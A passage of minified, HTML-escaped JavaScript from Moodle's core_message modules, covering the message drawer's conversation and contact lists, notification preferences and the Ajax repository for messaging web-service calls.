preferencesContainer=$(e.target).closest(SELECTORS_PREFERENCES_CONTAINER),preferenceElement=$(e.target).closest(SELECTORS_PREFERENCE),messagePreference=new MessageNotificationPreference(preferencesContainer,this.userId);preferenceElement.addClass(&quot;loading&quot;),messagePreference.save().always((function(){preferenceElement.removeClass(&quot;loading&quot;)}))}}.bind(this))},MessagePreferences}));
/**
 * Controls a section of the overview page in the message drawer.
 *
 * @module     core_message/message_drawer_view_overview_section
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_overview_section&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/notification&quot;,&quot;core/pubsub&quot;,&quot;core/str&quot;,&quot;core/pending&quot;,&quot;core/templates&quot;,&quot;core/user_date&quot;,&quot;core_message/message_repository&quot;,&quot;core_message/message_drawer_events&quot;,&quot;core_message/message_drawer_router&quot;,&quot;core_message/message_drawer_routes&quot;,&quot;core_message/message_drawer_lazy_load_list&quot;,&quot;core_message/message_drawer_view_conversation_constants&quot;],(function($,CustomEvents,Notification,PubSub,Str,Pending,Templates,UserDate,MessageRepository,MessageDrawerEvents,MessageDrawerRouter,MessageDrawerRoutes,LazyLoadList,MessageDrawerViewConversationContants){var SELECTORS_TOGGLE=&#039;[data-region=&quot;toggle&quot;]&#039;,SELECTORS_CONVERSATION=&quot;[data-conversation-id]&quot;,SELECTORS_BLOCKED_ICON_CONTAINER=&#039;[data-region=&quot;contact-icon-blocked&quot;]&#039;,SELECTORS_MUTED_ICON_CONTAINER=&#039;[data-region=&quot;muted-icon-container&quot;]&#039;,SELECTORS_UNREAD_COUNT=&#039;[data-region=&quot;unread-count&quot;]&#039;,SELECTORS_SECTION_TOTAL_COUNT=&#039;[data-region=&quot;section-total-count&quot;]&#039;,SELECTORS_SECTION_TOTAL_COUNT_CONTAINER=&#039;[data-region=&quot;section-total-count-container&quot;]&#039;,SELECTORS_SECTION_UNREAD_COUNT=&#039;[data-region=&quot;section-unread-count&quot;]&#039;,SELECTORS_PLACEHOLDER_CONTAINER=&#039;[data-region=&quot;placeholder-container&quot;]&#039;,TEMPLATES_CONVERSATIONS_LIST=&quot;core_message/message_drawer_conversations_list&quot;,TEMPLATES_CONVERSATIONS_LIST_ITEMS_PLACEHOLDER=&quot;core_message/message_drawer_conversations_list_items_placeholder&quot;,loadedConversationsById={},deletedConversationsById={},loadedTotalCounts=!1,loadedUnreadCounts=!1,isVisible=function(root){return LazyLoadList.getRoot(root).hasClass(&quot;show&quot;)},setExpanded=function(root){root.addClass(&quot;expanded&quot;)},formatConversationFromEvent=function(conversation){var recursivelyLowercaseKeys=function(object){return Object.keys(object).reduce((function(carry,key){return $.isArray(object[key])?carry[key.toLowerCase()]=object[key].map(recursivelyLowercaseKeys):carry[key.toLowerCase()]=object[key],carry}),{})},formatted=recursivelyLowercaseKeys(conversation);return formatted.messages=formatted.messages.map((function(message){return message.useridfrom=message.userfrom.id,message})),formatted},render=function(conversations,userId){var pending=new Pending,mapPromises=conversations.map((function(conversation){var lastMessage=conversation.messages.length?conversation.messages[conversation.messages.length-1]:null;return async function(lastMessage){if(!lastMessage)return null;var tmpElement=document.createElement(&quot;element&quot;);if(tmpElement.innerHTML=lastMessage.text.replace(/&lt;img /g,&quot;&lt;noimg &quot;),!tmpElement.querySelector(&quot;[src]&quot;)){var messagePreview=$(lastMessage.text).text();if(messagePreview&amp;&amp;-1==messagePreview.indexOf(&quot;&lt;&quot;))return messagePreview}var pix=&quot;i/messagecontentmultimediageneral&quot;,label=&quot;messagecontentmultimediageneral&quot;;lastMessage.text.includes(&quot;&lt;img&quot;)?(pix=&quot;i/messagecontentimage&quot;,label=&quot;messagecontentimage&quot;):lastMessage.text.includes(&quot;&lt;video&quot;)?(pix=&quot;i/messagecontentvideo&quot;,label=&quot;messagecontentvideo&quot;):lastMessage.text.includes(&quot;&lt;audio&quot;)&amp;&amp;(pix=&quot;i/messagecontentaudio&quot;,label=&quot;messagecontentaudio&quot;);try{var labelString=await Str.get_string(label,&quot;core_message&quot;);return await Templates.renderPix(pix,&quot;core&quot;,labelString)+&quot; &quot;+labelString}catch(error){return Notification.exception(error),null}}(lastMessage).then((function(messagePreview){var formattedConversation={id:conversation.id,imageurl:conversation.imageurl,name:conversation.name,subname:conversation.subname,unreadcount:conversation.unreadcount,ismuted:conversation.ismuted,lastmessagedate:lastMessage?lastMessage.timecreated:null,sentfromcurrentuser:lastMessage?lastMessage.useridfrom==userId:null,lastmessage:messagePreview},otherUser=null;return conversation.type==MessageDrawerViewConversationContants.CONVERSATION_TYPES.SELF?otherUser=conversation.members[0]:conversation.type==MessageDrawerViewConversationContants.CONVERSATION_TYPES.PRIVATE&amp;&amp;(otherUser=conversation.members.reduce((function(carry,member){return carry||member.id==userId||(carry=member),carry}),null)),null!==otherUser&amp;&amp;(formattedConversation.userid=otherUser.id,formattedConversation.showonlinestatus=otherUser.showonlinestatus,formattedConversation.isonline=otherUser.isonline,formattedConversation.isblocked=otherUser.isblocked),conversation.type==MessageDrawerViewConversationContants.CONVERSATION_TYPES.PUBLIC&amp;&amp;(formattedConversation.lastsendername=conversation.members.reduce((function(carry,member){return!carry&amp;&amp;lastMessage&amp;&amp;member.id==lastMessage.useridfrom&amp;&amp;(carry=member.fullname),carry}),null)),formattedConversation})).catch(Notification.exception)}));return Promise.all(mapPromises).then((function(formattedConversations){return formattedConversations.forEach((function(conversation){(new Date).toDateString()==new Date(1e3*conversation.lastmessagedate).toDateString()&amp;&amp;(conversation.istoday=!0)})),Templates.render(TEMPLATES_CONVERSATIONS_LIST,{conversations:formattedConversations})})).then((function(html,js){return pending.resolve(),$.Deferred().resolve(html,js)})).catch((function(error){pending.resolve(),Notification.exception(error)}))},getTotalConversationCountElement=function(root){return root.find(SELECTORS_SECTION_TOTAL_COUNT)},decrementTotalUnreadConversationCount=function(root){if(loadedUnreadCounts){var element=function(root){return root.find(SELECTORS_SECTION_UNREAD_COUNT)}(root),count=parseInt(element.text());count-=1,element.text(count),count&lt;1&amp;&amp;element.addClass(&quot;hidden&quot;)}},getConversationElement=function(root,conversationId){return root.find(&#039;[data-conversation-id=&quot;&#039;+conversationId+&#039;&quot;]&#039;)},getConversationElementFromUserId=function(root,userId){return root.find(&#039;[data-user-id=&quot;&#039;+userId+&#039;&quot;]&#039;)},createNewConversationFromEvent=function(root,conversation,userId){if(!root.find(SELECTORS_CONVERSATION).length){var listRoot=LazyLoadList.getRoot(root);LazyLoadList.showContent(listRoot),LazyLoadList.hideEmptyMessage(listRoot)}return loadedConversationsById[conversation.id]=conversation,render([conversation],userId).then((function(html){return LazyLoadList.getContentContainer(root).prepend(html)})).then((function(){return function(root){if(loadedTotalCounts){var element=getTotalConversationCountElement(root),count=parseInt(element.text());count+=1,element.text(count)}}(root)})).catch(Notification.exception)},deleteConversation=function(root,conversationElement){if(conversationElement.remove(),function(root){if(loadedTotalCounts){var element=getTotalConversationCountElement(root),count=parseInt(element.text());count-=1,element.text(count)}}(root),!root.find(SELECTORS_CONVERSATION).length){var listRoot=LazyLoadList.getRoot(root);LazyLoadList.hideContent(listRoot),LazyLoadList.showEmptyMessage(listRoot)}},registerEventListeners=function(namespace,root,loadCallback,types,includeFavourites,fromPanel){var listRoot=LazyLoadList.getRoot(root),conversationBelongsToThisSection=function(conversation){var conversationType=parseInt(conversation.type,10);return!(types&amp;&amp;types.indexOf(conversationType)&lt;0||includeFavourites&amp;&amp;!conversation.isFavourite||!includeFavourites&amp;&amp;conversation.isFavourite)},toggle=root.find(SELECTORS_TOGGLE);root.css(&quot;min-height&quot;,toggle.outerHeight()),root.on(&quot;show.bs.collapse&quot;,(function(){setExpanded(root),LazyLoadList.show(listRoot,loadCallback,(function(contentContainer,conversations,userId){return render(conversations,userId).then((function(html){return contentContainer.append(html),html})).catch(Notification.exception)}))})),root.on(&quot;hidden.bs.collapse&quot;,(function(){!function(root){root.removeClass(&quot;expanded&quot;)}(root)})),PubSub.subscribe(MessageDrawerEvents.CONTACT_BLOCKED,(function(userId){var conversationElement=getConversationElementFromUserId(root,userId);conversationElement.length&amp;&amp;function(conversationElement){conversationElement.find(SELECTORS_BLOCKED_ICON_CONTAINER).removeClass(&quot;hidden&quot;)}(conversationElement)})),PubSub.subscribe(MessageDrawerEvents.CONTACT_UNBLOCKED,(function(userId){var conversationElement=getConversationElementFromUserId(root,userId);conversationElement.length&amp;&amp;function(conversationElement){conversationElement.find(SELECTORS_BLOCKED_ICON_CONTAINER).addClass(&quot;hidden&quot;)}(conversationElement)})),PubSub.subscribe(MessageDrawerEvents.CONVERSATION_SET_MUTED,(function(conversation){var conversationId=conversation.id,conversationElement=getConversationElement(root,conversationId);conversationElement.length&amp;&amp;function(conversationElement){conversationElement.find(SELECTORS_MUTED_ICON_CONTAINER).removeClass(&quot;hidden&quot;)}(conversationElement)})),PubSub.subscribe(MessageDrawerEvents.CONVERSATION_UNSET_MUTED,(function(conversation){var conversationId=conversation.id,conversationElement=getConversationElement(root,conversationId);conversationElement.length&amp;&amp;function(conversationElement){conversationElement.find(SELECTORS_MUTED_ICON_CONTAINER).addClass(&quot;hidden&quot;)}(conversationElement)})),PubSub.subscribe(MessageDrawerEvents.CONVERSATION_NEW_LAST_MESSAGE,(function(conversation){if(conversationBelongsToThisSection(conversation)){var pendingPromise=new Pending(&quot;core_message/message_drawer_view_overview_section:new&quot;),loggedInUserId=conversation.loggedInUserId,conversationId=conversation.id,element=getConversationElement(root,conversationId);if(conversation=formatConversationFromEvent(conversation),element.length){var contentContainer=LazyLoadList.getContentContainer(root);render([conversation],loggedInUserId).then((function(html){deletedConversationsById[conversationId]&amp;&amp;conversation.messages[0].timeadded&lt;deletedConversationsById[conversationId]||(contentContainer.prepend(html),element.remove())})).then(pendingPromise.resolve).catch(Notification.exception)}else conversation.messages.length?createNewConversationFromEvent(root,conversation,loggedInUserId).then(pendingPromise.resolve).catch():pendingPromise.resolve()}})),PubSub.subscribe(MessageDrawerEvents.CONVERSATION_DELETED,(function(conversationId){var conversationElement=getConversationElement(root,conversationId);delete loadedConversationsById[conversationId],deletedConversationsById[conversationId]=new Date,conversationElement.length&amp;&amp;deleteConversation(root,conversationElement)})),PubSub.subscribe(MessageDrawerEvents.CONVERSATION_READ,(function(conversationId){var conversationElement=getConversationElement(root,conversationId);conversationElement.length&amp;&amp;function(root,conversationElement){var unreadCount=conversationElement.find(SELECTORS_UNREAD_COUNT);unreadCount.text(&quot;0&quot;),unreadCount.addClass(&quot;hidden&quot;),decrementTotalUnreadConversationCount(root)}(root,conversationElement)})),PubSub.subscribe(MessageDrawerEvents.CONVERSATION_SET_FAVOURITE,(function(conversation){var conversationElement=null;conversationBelongsToThisSection(conversation)?(conversationElement=getConversationElement(root,conversation.id)).length||createNewConversationFromEvent(root,formatConversationFromEvent(conversation),conversation.loggedInUserId):(conversationElement=getConversationElement(root,conversation.id)).length&amp;&amp;deleteConversation(root,conversationElement)})),PubSub.subscribe(MessageDrawerEvents.CONVERSATION_UNSET_FAVOURITE,(function(conversation){var conversationElement=null;conversationBelongsToThisSection(conversation)?(conversationElement=getConversationElement(root,conversation.id)).length||createNewConversationFromEvent(root,formatConversationFromEvent(conversation),conversation.loggedInUserId):(conversationElement=getConversationElement(root,conversation.id)).length&amp;&amp;deleteConversation(root,conversationElement)})),CustomEvents.define(root,[CustomEvents.events.activate]),root.on(CustomEvents.events.activate,SELECTORS_CONVERSATION,(function(e,data){var conversationId=$(e.target).closest(SELECTORS_CONVERSATION).attr(&quot;data-conversation-id&quot;),conversation=loadedConversationsById[conversationId];MessageDrawerRouter.go(namespace,MessageDrawerRoutes.VIEW_CONVERSATION,conversation,fromPanel),data.originalEvent.preventDefault()}))};return{show:function(namespace,header,body,footer,types,includeFavourites,totalCountPromise,unreadCountPromise,fromPanel){var root=$(body);if(!root.attr(&quot;data-init&quot;)){var loadCallback=function(types,includeFavourites,offset){var type=null,includeSelfConversations=!0;if(types&amp;&amp;types.length){var nonSelfConversationTypes=types.filter((function(candidate){return candidate!=MessageDrawerViewConversationContants.CONVERSATION_TYPES.SELF}));includeSelfConversations=types.length!=nonSelfConversationTypes.length,type=nonSelfConversationTypes[0]}return function(root,userId){return MessageRepository.getConversations(userId,type,51,offset,includeFavourites,includeSelfConversations).then((function(response){var conversations=response.conversations;return conversations.length&gt;50?conversations=conversations.slice(0,-1):LazyLoadList.setLoadedAll(root,!0),offset+=50,conversations.forEach((function(conversation){loadedConversationsById[conversation.id]=conversation})),conversations})).catch(Notification.exception)}}(types,includeFavourites,0);if(registerEventListeners(namespace,root,loadCallback,types,includeFavourites,fromPanel),isVisible(root)){setExpanded(root);var listRoot=LazyLoadList.getRoot(root);LazyLoadList.show(listRoot,loadCallback,(function(contentContainer,conversations,userId){return render(conversations,userId).then((function(html){return contentContainer.append(html),html})).catch(Notification.exception)}))}totalCountPromise.then((function(count){!function(root,count){var container=root.find(SELECTORS_SECTION_TOTAL_COUNT_CONTAINER);container.find(SELECTORS_SECTION_TOTAL_COUNT).text(count),container.removeClass(&quot;hidden&quot;),Str.get_string(&quot;totalconversations&quot;,&quot;core_message&quot;,count).done((function(string){container.attr(&quot;aria-label&quot;,string)}));var numPlaceholders=count&gt;20?20:count,placeholders=Array.apply(null,Array(numPlaceholders)).map((function(){return!0}));Templates.render(TEMPLATES_CONVERSATIONS_LIST_ITEMS_PLACEHOLDER,{placeholders:placeholders}).then((function(html){root.find(SELECTORS_PLACEHOLDER_CONTAINER).html(html)})).catch((function(){}))}(root,count),loadedTotalCounts=!0})).catch((function(){})),unreadCountPromise.then((function(count){!function(root,count){var countElement=root.find(SELECTORS_SECTION_UNREAD_COUNT);countElement.text(count),Str.get_string(&quot;unreadconversations&quot;,&quot;core_message&quot;,count).done((function(string){countElement.attr(&quot;aria-label&quot;,string)})),count&gt;0&amp;&amp;countElement.removeClass(&quot;hidden&quot;)}(root,count),loadedUnreadCounts=!0})).catch((function(){})),root.attr(&quot;data-init&quot;,!0)}},isVisible:isVisible}}));
/**
 * Controls the contacts section of the contacts page.
 *
 * @module     core_message/message_drawer_view_contacts_section_contacts
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_contacts_section_contacts&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/pubsub&quot;,&quot;core/templates&quot;,&quot;core_message/message_repository&quot;,&quot;core_message/message_drawer_events&quot;,&quot;core_message/message_drawer_lazy_load_list&quot;],(function($,Notification,PubSub,Templates,MessageRepository,Events,LazyLoadList){var SELECTORS_BLOCK_ICON_CONTAINER=&#039;[data-region=&quot;block-icon-container&quot;]&#039;,SELECTORS_CONTACT=&#039;[data-region=&quot;contact&quot;]&#039;,TEMPLATES_CONTACTS_LIST=&quot;core_message/message_drawer_contacts_list&quot;,findContact=function(body,userId){return body.find(&#039;[data-contact-user-id=&quot;&#039;+userId+&#039;&quot;]&#039;)},render=function(contentContainer,contacts){var formattedContacts=contacts.map((function(contact){return $.extend(contact,{id:contact.userid})}));return Templates.render(TEMPLATES_CONTACTS_LIST,{contacts:formattedContacts}).then((function(html){return contentContainer.append(html),html})).catch(Notification.exception)},registerEventListeners=function(root){PubSub.subscribe(Events.CONTACT_ADDED,(function(profile){var listContentContainer=LazyLoadList.getContentContainer(root);render(listContentContainer,[profile]),LazyLoadList.hideEmptyMessage(root),LazyLoadList.showContent(root)})),PubSub.subscribe(Events.CONTACT_REMOVED,(function(userId){!function(body,userId){findContact(body,userId).remove()}(root,userId),root.find(SELECTORS_CONTACT).length||(LazyLoadList.hideContent(root),LazyLoadList.showEmptyMessage(root))})),PubSub.subscribe(Events.CONTACT_BLOCKED,(function(userId){!function(body,userId){var contact=findContact(body,userId);contact.length&amp;&amp;contact.find(SELECTORS_BLOCK_ICON_CONTAINER).removeClass(&quot;hidden&quot;)}(root,userId)})),PubSub.subscribe(Events.CONTACT_UNBLOCKED,(function(userId){!function(body,userId){var contact=findContact(body,userId);contact.length&amp;&amp;contact.find(SELECTORS_BLOCK_ICON_CONTAINER).addClass(&quot;hidden&quot;)}(root,userId)}))};return{show:function(root){var offset;root.attr(&quot;data-contacts-init&quot;)||(registerEventListeners(root),root.attr(&quot;data-contacts-init&quot;,!0)),LazyLoadList.show(root,(offset=0,function(listRoot,userId){return MessageRepository.getContacts(userId,101,offset).then((function(result){return result})).then((function(contacts){return contacts.length&gt;100?contacts.pop():LazyLoadList.setLoadedAll(listRoot,!0),contacts})).then((function(contacts){return offset+=100,contacts})).catch(Notification.exception)}),render)}}}));
/**
 * Controls the preference for an individual notification type on the
 * message preference page.
 *
 * @module     core_message/message_notification_preference
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_notification_preference&quot;,[&quot;jquery&quot;,&quot;core_message/notification_preference&quot;],(function($,NotificationPreference){var SELECTORS_PREFERENCE_KEY=&quot;[data-preference-key]&quot;,MessageNotificationPreference=function(element,userId){NotificationPreference.call(this,element,userId)};return(MessageNotificationPreference.prototype=Object.create(NotificationPreference.prototype)).constructor=MessageNotificationPreference,MessageNotificationPreference.prototype.getPreferenceKey=function(){return this.root.find(SELECTORS_PREFERENCE_KEY).attr(&quot;data-preference-key&quot;)},MessageNotificationPreference}));
/**
 * Controls the contact page in the message drawer.
 *
 * @module     core_message/message_drawer_view_contact
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_contact&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/templates&quot;],(function($,Str,Templates){var SELECTORS_CONTENT_CONTAINER=&#039;[data-region=&quot;content-container&quot;]&#039;,TEMPLATES_CONTENT=&quot;core_message/message_drawer_view_contact_body_content&quot;,getContentContainer=function(root){return root.find(SELECTORS_CONTENT_CONTAINER)};return{show:function(namespace,header,body,footer,contact){var root=$(body);return getContentContainer(root).empty(),function(root,profile){return Templates.render(TEMPLATES_CONTENT,profile).then((function(html){return getContentContainer(root).append(html),html}))}(root,contact)},description:function(root,contact){return Str.get_string(&quot;messagedrawerviewcontact&quot;,&quot;core_message&quot;,contact.fullname)}}}));
/**
 * Controls the requests section of the contacts page.
 *
 * @module     core_message/message_drawer_view_contacts_section_requests
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_contacts_section_requests&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/pubsub&quot;,&quot;core/templates&quot;,&quot;core_message/message_repository&quot;,&quot;core_message/message_drawer_events&quot;,&quot;core_message/message_drawer_lazy_load_list&quot;],(function($,Notification,PubSub,Templates,MessageRepository,MessageDrawerEvents,LazyLoadList){var SELECTORS_CONTACT_REQUEST=&#039;[data-region=&quot;contact-request&quot;]&#039;,TEMPLATES_REQUESTS_LIST=&quot;core_message/message_drawer_view_contacts_body_section_requests_list&quot;,render=function(contentContainer,requests){var formattedRequests=requests.map((function(request){return{id:request.id,profileimageurl:request.profileimageurl,fullname:request.fullname}}));return Templates.render(TEMPLATES_REQUESTS_LIST,{requests:formattedRequests}).then((function(html){return contentContainer.append(html),html})).catch(Notification.exception)},load=function(listRoot,userId){return MessageRepository.getContactRequests(userId).then((function(requests){return LazyLoadList.setLoadedAll(listRoot,!0),requests})).catch(Notification.exception)},handleContactRequestProcessed=function(root){return function(request){root.find(&#039;[data-request-id=&quot;&#039;+request.userid+&#039;&quot;]&#039;).remove(),root.find(SELECTORS_CONTACT_REQUEST).length||(LazyLoadList.showEmptyMessage(root),LazyLoadList.hideContent(root))}};return{show:function(root){root.attr(&quot;data-contacts-init&quot;)||(!function(root){PubSub.subscribe(MessageDrawerEvents.CONTACT_REQUEST_ACCEPTED,handleContactRequestProcessed(root)),PubSub.subscribe(MessageDrawerEvents.CONTACT_REQUEST_DECLINED,handleContactRequestProcessed(root))}(root),root.attr(&quot;data-contacts-init&quot;,!0)),LazyLoadList.show(root,load,render)}}}));
/**
 * Manages the processor form on the message preferences page.
 *
 * @module     core_message/preferences_processor_form
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/preferences_processor_form&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function($,Ajax,Notification){var ProcessorForm=function(element){this.root=$(element),this.userId=this.root.attr(&quot;data-user-id&quot;),this.name=this.root.attr(&quot;data-processor-name&quot;),this.root.find(&quot;form&quot;).on(&quot;submit&quot;,function(e){e.preventDefault(),this.save().done((function(){$(element).trigger(&quot;mpp:formsubmitted&quot;)}))}.bind(this))};return ProcessorForm.prototype.startLoading=function(){this.root.addClass(&quot;loading&quot;)},ProcessorForm.prototype.stopLoading=function(){this.root.removeClass(&quot;loading&quot;)},ProcessorForm.prototype.isLoading=function(){return this.root.hasClass(&quot;loading&quot;)},ProcessorForm.prototype.save=function(){if(this.isLoading())return $.Deferred();this.startLoading();var data=this.root.find(&quot;form&quot;).serializeArray(),request={methodname:&quot;core_message_message_processor_config_form&quot;,args:{userid:this.userId,name:this.name,formvalues:data}};return Ajax.call([request])[0].fail(Notification.exception).always(function(){this.stopLoading()}.bind(this))},ProcessorForm}));
/**
 * Lazy loaded list of items.
 *
 * @module     core_message/message_drawer_lazy_load_list
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_lazy_load_list&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;],(function($,CustomEvents){var SELECTORS_ROOT=&#039;[data-region=&quot;lazy-load-list&quot;]&#039;,SELECTORS_LOADING_ICON_CONTAINER=&#039;[data-region=&quot;loading-icon-container&quot;]&#039;,SELECTORS_CONTENT_CONTAINER=&#039;[data-region=&quot;content-container&quot;]&#039;,SELECTORS_EMPTY_MESSAGE=&#039;[data-region=&quot;empty-message-container&quot;]&#039;,SELECTORS_PLACEHOLDER=&#039;[data-region=&quot;placeholder-container&quot;]&#039;,stopLoading=function(root){root.attr(&quot;data-loading&quot;,!1)},getContentContainer=function(root){return root.find(SELECTORS_CONTENT_CONTAINER)},hideLoadingIcon=function(root){root.find(SELECTORS_LOADING_ICON_CONTAINER).addClass(&quot;hidden&quot;)},showEmptyMessage=function(root){root.find(SELECTORS_EMPTY_MESSAGE).removeClass(&quot;hidden&quot;)},hidePlaceholder=function(root){root.find(SELECTORS_PLACEHOLDER).addClass(&quot;hidden&quot;)},showContent=function(root){getContentContainer(root).removeClass(&quot;hidden&quot;)},hideContent=function(root){getContentContainer(root).addClass(&quot;hidden&quot;)},setLoadedAll=function(root,value){root.attr(&quot;data-loaded-all&quot;,value)},loadAndRender=function(root,loadCallback,renderCallback){var userId=function(root){return root.attr(&quot;data-user-id&quot;)}(root);return function(root){root.attr(&quot;data-loading&quot;,!0)}(root),loadCallback(root,userId).then((function(items){if(items.length&gt;0){var contentContainer=getContentContainer(root);return renderCallback(contentContainer,items,userId).then((function(){return items}))}return items})).then((function(items){return stopLoading(root),root.attr(&quot;data-seen&quot;,!0),items.length||setLoadedAll(root,!0),items})).catch((function(){stopLoading(root),root.attr(&quot;data-seen&quot;,!0)}))},initialLoadAndRender=function(root,loadCallback,renderCallback){return getContentContainer(root).empty(),function(root){root.find(SELECTORS_PLACEHOLDER).removeClass(&quot;hidden&quot;)}(root),hideContent(root),loadAndRender(root,loadCallback,renderCallback).then((function(items){hidePlaceholder(root),items.length?showContent(root):showEmptyMessage(root)})).catch((function(){hidePlaceholder(root),showContent(root)}))},registerEventListeners=function(root,loadCallback,renderCallback){CustomEvents.define(root,[CustomEvents.events.scrollBottom]),root.on(CustomEvents.events.scrollBottom,(function(){(function(root){return!function(root){return&quot;true&quot;==root.attr(&quot;data-loaded-all&quot;)}(root)&amp;&amp;!function(root){return&quot;true&quot;===root.attr(&quot;data-loading&quot;)}(root)})(root)&amp;&amp;(!function(root){root.find(SELECTORS_LOADING_ICON_CONTAINER).removeClass(&quot;hidden&quot;)}(root),loadAndRender(root,loadCallback,renderCallback).then((function(){return hideLoadingIcon(root)})).catch((function(){return hideLoadingIcon(root)})))}))};return{show:function(root,loadCallback,renderCallback){(root=$(root)).attr(&quot;data-init&quot;)||(registerEventListeners(root,loadCallback,renderCallback),initialLoadAndRender(root,loadCallback,renderCallback),root.attr(&quot;data-init&quot;,!0))},getContentContainer:getContentContainer,getRoot:function(containerElement){return containerElement.find(SELECTORS_ROOT)},setLoadedAll:setLoadedAll,showEmptyMessage:showEmptyMessage,hideEmptyMessage:function(root){root.find(SELECTORS_EMPTY_MESSAGE).addClass(&quot;hidden&quot;)},showContent:showContent,hideContent:hideContent}}));
/**
 * Provides some helper functions to trigger actions in the message drawer.
 *
 * @module     core_message/message_drawer_helper
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_helper&quot;,[&quot;core/pubsub&quot;,&quot;core_message/message_drawer_events&quot;],(function(PubSub,MessageDrawerEvents){return{createConversationWithUser:function(args){PubSub.publish(MessageDrawerEvents.CREATE_CONVERSATION_WITH_USER,args)},hide:function(){PubSub.publish(MessageDrawerEvents.HIDE)},show:function(){PubSub.publish(MessageDrawerEvents.SHOW)},showConversation:function(args){PubSub.publish(MessageDrawerEvents.SHOW_CONVERSATION,args)},showSettings:function(){PubSub.publish(MessageDrawerEvents.SHOW_SETTINGS)}}}));
/**
 * Retrieves messages from the server.
 *
 * @module     core_message/message_repository
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_repository&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core_message/message_drawer_view_conversation_constants&quot;],(function($,Ajax,Notification,Constants){var CONVERSATION_TYPES=Constants.CONVERSATION_TYPES,sendMessagesToUser=function(toUserId,messages){var request={methodname:&quot;core_message_send_instant_messages&quot;,args:{messages:messages.map((function(message){return{touserid:toUserId,text:message}}))}};return Ajax.call([request])[0].then((function(results){var errors=results.reduce((function(carry,result){return result.errormessage&amp;&amp;carry.push(result.errormessage),carry}),[]);if(errors.length)throw new Error(errors.join(&quot;\n&quot;));return results})).then((function(results){return results.map((function(result){return{id:result.msgid,text:result.text,timecreated:result.timecreated,useridfrom:result.useridfrom,conversationid:result.conversationid,candeletemessagesforallusers:result.candeletemessagesforallusers}}))}))},sendMessagesToConversation=function(conversationId,messages){var request={methodname:&quot;core_message_send_messages_to_conversation&quot;,args:{conversationid:conversationId,messages:messages.map((function(message){return{text:message}}))}};return Ajax.call([request])[0]};return{countUnreadConversations:function(args){var request={methodname:&quot;core_message_get_unread_conversations_count&quot;,args:args},promise=Ajax.call([request])[0];return promise.fail(Notification.exception),promise},getContacts:function(userId,limit,offset){var args={userid:userId};void 0!==limit&amp;&amp;(args.limitnum=limit),void 0!==offset&amp;&amp;(args.limitfrom=offset);var request={methodname:&quot;core_message_get_user_contacts&quot;,args:args};return Ajax.call([request])[0]},blockUser:function(userId,blockedUserId){var requests=[{methodname:&quot;core_message_block_user&quot;,args:{userid:userId,blockeduserid:blockedUserId}},{methodname:&quot;core_message_get_member_info&quot;,args:{referenceuserid:userId,userids:[blockedUserId],includecontactrequests:!0,includeprivacyinfo:!0}}];return $.when.apply(null,Ajax.call(requests)).then((function(reponse1,profiles){return profiles.length?profiles[0]:{}}))},unblockUser:function(userId,unblockedUserId){var requests=[{methodname:&quot;core_message_unblock_user&quot;,args:{userid:userId,unblockeduserid:unblockedUserId}},{methodname:&quot;core_message_get_member_info&quot;,args:{referenceuserid:userId,userids:[unblockedUserId],includecontactrequests:!0,includeprivacyinfo:!0}}];return $.when.apply(null,Ajax.call(requests)).then((function(reponse1,profiles){return profiles.length?profiles[0]:{}}))},createContactRequest:function(userId,requestUserIds){var request={methodname:&quot;core_message_create_contact_request&quot;,args:{userid:userId,requesteduserid:requestUserIds}};return Ajax.call([request])[0]},deleteContacts:function(userId,contactUserIds){var requests=[{methodname:&quot;core_message_delete_contacts&quot;,args:{userid:userId,userids:contactUserIds}},{methodname:&quot;core_message_get_member_info&quot;,args:{referenceuserid:userId,userids:contactUserIds,includecontactrequests:!0,includeprivacyinfo:!0}}];return $.when.apply(null,Ajax.call(requests)).then((function(response1,profiles){return profiles}))},getMessages:function(currentUserId,conversationId,limit,offset,newestFirst,timeFrom){var args={currentuserid:currentUserId,convid:conversationId,newest:!!newestFirst};void 0!==limit&amp;&amp;(args.limitnum=limit),void 0!==offset&amp;&amp;(args.limitfrom=offset),void 0!==timeFrom&amp;&amp;(args.timefrom=timeFrom);var request={methodname:&quot;core_message_get_conversation_messages&quot;,args:args};return Ajax.call([request])[0]},searchUsers:function(userId,searchString,limit,offset){var args={userid:userId,search:searchString};void 0!==limit&amp;&amp;(args.limitnum=limit),void 0!==offset&amp;&amp;(args.limitfrom=offset);var request={methodname:&quot;core_message_message_search_users&quot;,args:args};return Ajax.call([request])[0]},searchMessages:function(userId,searchString,limit,offset){var args={userid:userId,search:searchString};void 